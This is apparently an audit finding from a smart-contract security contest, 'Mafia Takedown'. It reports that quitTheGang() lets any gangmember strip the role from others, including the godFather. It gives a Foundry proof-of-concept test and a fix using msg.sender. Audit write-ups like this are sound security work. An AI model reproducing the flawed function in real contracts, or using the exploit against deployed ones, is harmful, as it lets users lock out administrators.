First Flight #16: Mafia Takedown

Summary

The policy contract has an external function called quitTheGang() which allows an address with the "gangmember" role in the kernel to revoke the role.

function quitTheGang(address account) external onlyRole("gangmember") {
    kernel.revokeRole(Role.wrap("gangmember"), account);
}

However, when calling this function, any address can be provided for the account parameter. This means any address with the "gangmember" role can force out other addresses with the "gangmember" role. The biggest problem of this is if the "godFather" address is forced out of the "gangmember" role. In this case, the "godFather" will no longer be able to call the takeGuns() function in the policy "Laundrette".

Vulnerability Details

Here is a quick proof of concept :

function test_ForceQuit() public {
    //Note : assumes that deployer correctly gives godFather the gangmember role
    vm.prank(kernel.admin());
    kernel.grantRole(Role.wrap("gangmember"), godFather);


    //1) Have godFather add two new addresses to the gang.
    address Bob = makeAddr("Hi I'm Bob");
    address Alice = makeAddr("Hi I'm Alice");

    vm.prank(godFather);
    laundrette.addToTheGang(Bob);
    vm.prank(godFather);
    laundrette.addToTheGang(Alice);

    assertEq(kernel.hasRole(Bob, Role.wrap("gangmember")), true);
    assertEq(kernel.hasRole(Alice, Role.wrap("gangmember")), true);

    //2) Bob can force Alice to quit the gang
    vm.prank(Bob);
    laundrette.quitTheGang(Alice);

    assertEq(kernel.hasRole(Bob, Role.wrap("gangmember")), true);
    assertNotEq(kernel.hasRole(Alice, Role.wrap("gangmember")), true);

    //3) Bob can also force the godFather to quit the gang. 
    vm.prank(Bob);
    laundrette.quitTheGang(godFather);

    assertEq(kernel.hasRole(Bob, Role.wrap("gangmember")), true);
    assertNotEq(kernel.hasRole(Alice, Role.wrap("gangmember")), true);

    //Now godFather can no longer call key functions. 
    vm.expectRevert();
    vm.prank(godFather);
    laundrette.addToTheGang(Alice);

    vm.expectRevert(abi.encodeWithSelector(Policy_OnlyRole.selector, Role.wrap("gangmember")));
    vm.prank(godFather);
    laundrette.takeGuns(godFather, 1);
}

Impact

Any address with the role "gangmember" in the kernel can force out any other address with the role "gangmember". This especially causes problems when "godFather" is removed as a "gangmember".

Tools Used

Foundry

Recommendations

Make the function quitTheGang() in the policy Laundrette only effect the caller

function quitTheGang() external onlyRole("gangmember") {
    kernel.revokeRole(Role.wrap("gangmember"), msg.sender);
}